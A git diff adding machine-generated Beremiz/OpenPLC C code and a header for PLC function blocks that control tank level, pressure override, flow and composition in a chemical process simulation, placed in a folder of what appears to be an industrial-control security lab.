__INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + 